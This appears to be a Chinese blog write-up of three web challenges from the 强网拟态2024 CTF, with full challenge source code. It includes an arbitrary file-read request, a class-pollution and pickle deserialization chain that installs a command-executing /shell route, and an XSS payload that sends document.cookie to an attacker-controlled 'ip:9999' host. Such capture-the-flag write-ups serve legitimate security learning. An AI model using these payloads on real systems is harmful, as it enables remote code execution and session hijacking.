强网拟态2024

baozongwi Lv5

0x01 说在前面

省赛搞一起了,我连账号都没有,不过借到朋友的账号可以试试看:grin:

0x02 question

capoo

发现可以任意文件读取,读到的是base64的编码情况,直接尝试读flag,失败了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /showpic.php HTTP/1.1
Host: web-64c0cdc1b2.challenge.xctf.org.cn
Content-Length: 11
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Origin: http://web-64c0cdc1b2.challenge.xctf.org.cn
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://web-64c0cdc1b2.challenge.xctf.org.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

capoo=/flag

那么文件名肯定是不对的,这里我们读取一些敏感文件,我起码读了十几个敏感文件,读到的基本没用,后面真是想到了前几天出题,Docker的根目录有好东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /showpic.php HTTP/1.1
Host: web-73a38d83f9.challenge.xctf.org.cn
Content-Length: 15
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Origin: http://web-64c0cdc1b2.challenge.xctf.org.cn
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://web-64c0cdc1b2.challenge.xctf.org.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

capoo=/start.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/sh

rm -f /docker-entrypoint.sh

# Get the user
user=$(ls /home)

# Check the environment variables for the flag and assign to INSERT_FLAG
# 需要注意,以下语句会将FLAG相关传递变量进行覆盖,如果需要,请注意修改相关操作
#if [ "$DASFLAG" ]; then
# INSERT_FLAG="$DASFLAG"
# export DASFLAG=no_FLAG
# DASFLAG=no_FLAG
#elif [ "$FLAG" ]; then
# INSERT_FLAG="$FLAG"
# export FLAG=no_FLAG
# FLAG=no_FLAG
#elif [ "$GZCTF_FLAG" ]; then
# INSERT_FLAG="$GZCTF_FLAG"
# export GZCTF_FLAG=no_FLAG
# GZCTF_FLAG=no_FLAG
#else
# INSERT_FLAG="flag{TEST_Dynamic_FLAG}"
#fi

# 将FLAG写入文件 请根据需要修改
#echo $INSERT_FLAG | tee /flag

#touch /flag
chmod 744 /flag-33ac806f

php-fpm & nginx &

echo "Running..."

tail -F /var/log/nginx/access.log /var/log/nginx/error.log

发现了flag文件哈哈,这个生成形式和我当时写的一模一样,只不过我没给权限,这给权限有啥用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /showpic.php HTTP/1.1
Host: web-73a38d83f9.challenge.xctf.org.cn
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Origin: http://web-64c0cdc1b2.challenge.xctf.org.cn
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://web-64c0cdc1b2.challenge.xctf.org.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

capoo=/flag-33ac806f

ez_picker

一个sanic框架的pickle反序列化?我都不会我丢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []

safe_modules = {
'math',
'datetime',
'json',
'collections',
}

safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter', 'defaultdict'
}

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in safe_modules and name in safe_names:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))

def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
def __init__(self,username,password):
self.username=username
self.password=password


def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def token_required(func):
async def wrapper(request, *args, **kwargs):
token = request.cookies.get("token")
if not token:
return redirect('/login')
try:
result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
except jwt.ExpiredSignatureError:
return json({"status": "fail", "message": "Token expired"}, status=401)
except jwt.InvalidTokenError:
return json({"status": "fail", "message": "Invalid token"}, status=401)
print(result)
if result["role"]!="admin":
return json({"status": "fail", "message": "Permission Denied"}, status=401)
return await func(request, *args, **kwargs)
return wrapper

@app.route('/', methods=["GET"])
def file_reader(request):
file = "app.py"
with open(file, 'r') as f:
content = f.read()
return text(content)

@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
if request.method=="GET":
return await file_('templates/upload.html')
if not request.files:
return text("No file provided", status=400)

file = request.files.get('file')
file_object = file[0] if isinstance(file, list) else file
try:
new_data = restricted_loads(file_object.body)
try:
my_object.update(new_data)
except:
return json({"status": "success", "message": "Pickle object loaded but not updated"})
with open(pickle_file, "wb") as f:
pickle.dump(my_object, f)

return json({"status": "success", "message": "Pickle object updated"})
except pickle.UnpicklingError:
return text("Dangerous pickle file", status=400)

@app.route('/register', methods=['GET','POST'])
async def register(request):
if request.method=='GET':
return await file_('templates/register.html')
if request.json:
NewUser=User("username","password")
merge(request.json, NewUser)
users.append(NewUser)
else:
return json({"status": "fail", "message": "Invalid request"}, status=400)
return json({"status": "success", "message": "Register Success!","redirect": "/login"})

@app.route('/login', methods=['GET','POST'])
async def login(request):
if request.method=='GET':
return await file_('templates/login.html')
if request.json:
username = request.json.get("username")
password = request.json.get("password")
if not username or not password:
return json({"status": "fail", "message": "Username or password missing"}, status=400)
user = next((u for u in users if u.username == username), None)
if user:
if user.password == password:
data={"user":username,"role":"guest"}
data['exp'] = int(time.time()) + 60 *5
token = jwt.encode(data, str(secret_key), algorithm='HS256')
response = json({"status": "success", "redirect": "/upload"})
response.cookies["token"]=token
response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
return response
else:
return json({"status": "fail", "message": "Invalid password"}, status=400)
else:
return json({"status": "fail", "message": "User not found"}, status=404)
return json({"status": "fail", "message": "Invalid request"}, status=400)

if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)

污染环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import json
import requests
url="http://web-05191a6c96.challenge.xctf.org.cn/register"

payload={
"__init__":{
"__globals__":{
"secret_key":"baozongwi",
"NewUser":{
"username":"admin",
"password":"666666"
},
"safe_modules":"builtins",
"safe_names":["getattr","system","dict","globals"]
}
}
}
r = requests.post(url=url, json=payload)
print(r.status_code)
print(r.text)

然后注册

1
2
3
4
5
username:admin
password:666666

拿到token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYmFvem9uZ3dpIiwicm9sZSI6Imd1ZXN0IiwiZXhwIjoxNzI5MzQ3NDgxfQ.1CV6uS8_f3GpzSobSUq9wD8FOENO8YEXiGLYseER5Lo

伪造jwt就可以上传文件了,但是这里是一个jwt只能上传一次

而且我写的文件貌似是很有问题,上传不成功,弹不出来shell,卡着了

后来找到说是可以直接RCE的(看师傅们的做法)

打内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
from flask import Flask, request

app = Flask(__name__)

class A():
def __reduce__(self):
return (eval, ('app.add_route(lambda request:__import__("os").popen(request.args.get("cmd")).read(), "/shell", methods=["GET", "POST"])',))

a = A()
b = pickle.dumps(a)
print(b)

with open("poc.pkl", "wb") as f:
f.write(b)

然后上传之后就getshell

还有一种是直接写文件

1
2
3
4
5
6
7
8
9
10
import pickle

# 提供的pickle序列化字符串
pickle_data = b"c__builtin__\ngetattr\n(c__builtin__\n__import__\n(S'os'\ntRS'system'\ntR(S'more /tr3e_fl4g_1s_h3re_lol >/app/templates/index.html'\ntR."

# 将pickle序列化字符串写入文件
with open("malicious.pkl", "wb") as f:
f.write(pickle_data)

print("Pickle data has been written to malicious.pkl")

pickle反序列化感觉经常有哇,这个月必须把他学了,师傅们好厉害这次比赛学到了

Spreader

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
const fs = require('fs');
const express = require('express');
const router = express.Router();
const { triggerXSS } = require('../bot');
const { Store } = require('express-session');
function isAuthenticated(req, res, next) {
if (req.session.user) {
next();
} else {
res.redirect('/login');
}
}
module.exports = (users,posts,store,AdminPassWord,PrivilegedPassWord) => {

const ROLES = {
PLAIN: "plain",
PRIVILEGED: "privileged",
ADMIN: "admin",
};

router.get('/register', (req, res) => {
res.sendFile('register.html', { root: './views' });
});

router.post('/register', (req, res) => {
const { username, password, role } = req.body;
const userExists = users.some(u => u.username === username);
if (userExists) {
return res.send('Username already exists!');
}
users.push({ username, password, role: "plain" });
res.redirect('/login');
});
router.get('/login', (req, res) => {
res.sendFile('login.html', { root: './views' });
});

router.post('/login', (req, res) => {
const { username, password } = req.body;
console.log(username);
console.log(password);
const user = users.find(u => u.username === username && u.password === password);
if (user) {
req.session.user = user;
res.redirect('/');
} else {
res.send('Invalid credentials!');
}
});
router.get('/', isAuthenticated, (req, res) => {
const currentUser = req.session.user;
let filteredPosts = [];
if (currentUser.role === ROLES.ADMIN) {
filteredPosts = posts.filter(p => p.role === ROLES.PRIVILEGED || p.role === ROLES.ADMIN);
} else if (currentUser.role === ROLES.PRIVILEGED) {
filteredPosts = posts.filter(p => p.role === ROLES.PLAIN || p.role === ROLES.PRIVILEGED);
} else {
filteredPosts = posts.filter(p => p.role === ROLES.PLAIN);
}
res.render(`${currentUser.role}`, { posts: filteredPosts, user: currentUser });
});
router.post('/post', isAuthenticated, (req, res) => {
let { content } = req.body;

const scriptTagRegex = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
content = content.replace(scriptTagRegex, '[XSS attempt blocked]');

const eventHandlerRegex = /on\w+\s*=\s*(["']).*?\1/gi;
content = content.replace(eventHandlerRegex, '[XSS attempt blocked]');

const javascriptURLRegex = /(?:href|src)\s*=\s*(["'])\s*javascript:.*?\1/gi;
content = content.replace(javascriptURLRegex, '[XSS attempt blocked]');

const dataURLRegex = /(?:href|src)\s*=\s*(["'])\s*data:.*?\1/gi;
content = content.replace(dataURLRegex, '[XSS attempt blocked]');

const cssExpressionRegex = /style\s*=\s*(["']).*?expression\([^>]*?\).*?\1/gi;
content = content.replace(cssExpressionRegex, '[XSS attempt blocked]');

const dangerousTagsRegex = /<\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi;
content = content.replace(dangerousTagsRegex, '[XSS attempt blocked]');

const dangerousAttributesRegex = /\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\s*=\s*(["']).*?\1/gi;
content = content.replace(dangerousAttributesRegex, '[XSS attempt blocked]');

const dangerousProtocolsRegex = /(?:href|src)\s*=\s*(["'])(?:\s*javascript:|vbscript:|file:|data:|filesystem:).*?\1/gi;
content = content.replace(dangerousProtocolsRegex, '[XSS attempt blocked]');

const dangerousFunctionsRegex = /\b(?:eval|alert|prompt|confirm|console\.log|Function)\s*\(/gi;
content = content.replace(dangerousFunctionsRegex, '[XSS attempt blocked]');

posts.push({ content: content, username: req.session.user.username, role: req.session.user.role });
res.redirect('/');
});


router.get('/logout', (req, res) => {
req.session.destroy();
res.redirect('/login');
});
router.get('/report_admin', async (req, res) => {
try {
await triggerXSS("admin",AdminPassWord);
res.send(`Admin Bot successfully logged in.`);
} catch (error) {
console.error('Error Reporting:', error);
res.send(`Admin Bot successfully logged in.`);
}
});
router.get('/report_privileged', async (req, res) => {
try {
await triggerXSS("privileged",PrivilegedPassWord);
res.send(`Privileged Bot successfully logged in.`);
} catch (error) {
console.error('Error Reporting:', error);
res.send(`Privileged Bot successfully logged in.`);
}
});
router.get('/store', async (req, res) => {
return res.status(200).json(store);
});
router.post('/store', async (req, res) => {
if (req.body) {
store.push(req.body);
return res.status(200).send('Data stored successfully');
} else {
return res.status(400).send('No data received');
}
});
router.get('/flag', async (req, res) => {
try {
if (req.session.user && req.session.user.role === "admin") {
fs.readFile('/flag', 'utf8', (err, data) => {
if (err) {
console.error('Error reading flag file:', err);
return res.status(500).send('Internal Server Error');
}
res.send(`Your Flag Here: ${data}`);
});
} else {
res.status(403).send('Unauthorized!');
}
} catch (error) {
console.error('Error fetching flag:', error);
res.status(500).send('Internal Server Error');
}
});
return router;
};

bot.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const puppeteer = require('puppeteer');

async function triggerXSS(UserName, PassWord) {
const browser = await puppeteer.launch({
args: ['--no-sandbox', '--disable-setuid-sandbox'],
executablePath: '/usr/bin/chromium',
headless: true
});

const page = await browser.newPage();

await page.goto('http://localhost:3000/login');

await page.type('input[name="username"]', UserName);
await page.type('input[name="password"]', PassWord);

await page.click('button[type="submit"]');

await page.goto('http://localhost:3000/');

await browser.close();

return;
}

module.exports = { triggerXSS };

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const express = require('express');
const session = require('express-session');
const stringRandom = require('string-random');
const bodyParser = require('body-parser');
const app = express();
const port = 3000;
const AdminPassWord=stringRandom(16, { numbers: true })
const PrivilegedPassWord=stringRandom(16, { numbers: true })
const PlainPassWord=stringRandom(16, { numbers: true })
const secret_key=stringRandom(16, { numbers: true })
const users = [];
const posts = [];
const store = [];
users.push({ username:"admin", password:AdminPassWord, role: "admin" });
users.push({ username:"privileged", password:PrivilegedPassWord, role: "privileged" });
users.push({ username:"plain", password:PlainPassWord, role: "plain" });
console.log(users)
app.use(express.static('views'));
app.set('view engine', 'ejs');
app.use(bodyParser.urlencoded({ extended: true }));
app.use(session({
secret: secret_key,
resave: false,
saveUninitialized: true,
cookie: {
httpOnly: false,
secure: false,
}
}));


app.use('/', require('./routes/index')(users,posts,store,AdminPassWord,PrivilegedPassWord));

app.listen(port, () => {
console.log(`App is running on http://localhost:${port}`);
});

这道题欠着,今天太累了


欧克我来了,这里先看代码,发现xss那么我们需要找口子,估计是拿cookie,因为最后的/flag路由可以得到flag只不过需要授权,看到/post有很多过滤,不过其实在/register就已经可以进行xss了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/register', (req, res) => {
res.sendFile('register.html', { root: './views' });
});

router.post('/register', (req, res) => {
const { username, password, role } = req.body;
const userExists = users.some(u => u.username === username);
if (userExists) {
return res.send('Username already exists!');
}
users.push({ username, password, role: "plain" });
res.redirect('/login');
});

这里直接返回了username所以我们注册之后发帖可以打xss

1
2
3
http://web-acd976ed49.challenge.xctf.org.cn/register
POST:
username=<script src="http://ip:12138/poc.js"></script>&password=1

写一个poc.js

1
<img src=/ onerror="window.location='http://ip:9999/?a='+document.cookie;">

然后访问/report_privileged拿一个cookie之后再去同样的方法/report_admin来拿admin,不过这里我看到说可以直接去拿admin,这样子确实步骤少点

0x03 小结

得赶紧学学东西了,flask框架这玩意也只能在小比赛里面用用

  • Title: 强网拟态2024
  • Author: baozongwi
  • Created at : 2024-10-19 20:28:38
  • Updated at : 2024-10-28 17:25:25
  • Link: https://baozongwi.xyz/2024/10/19/强网拟态2024/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments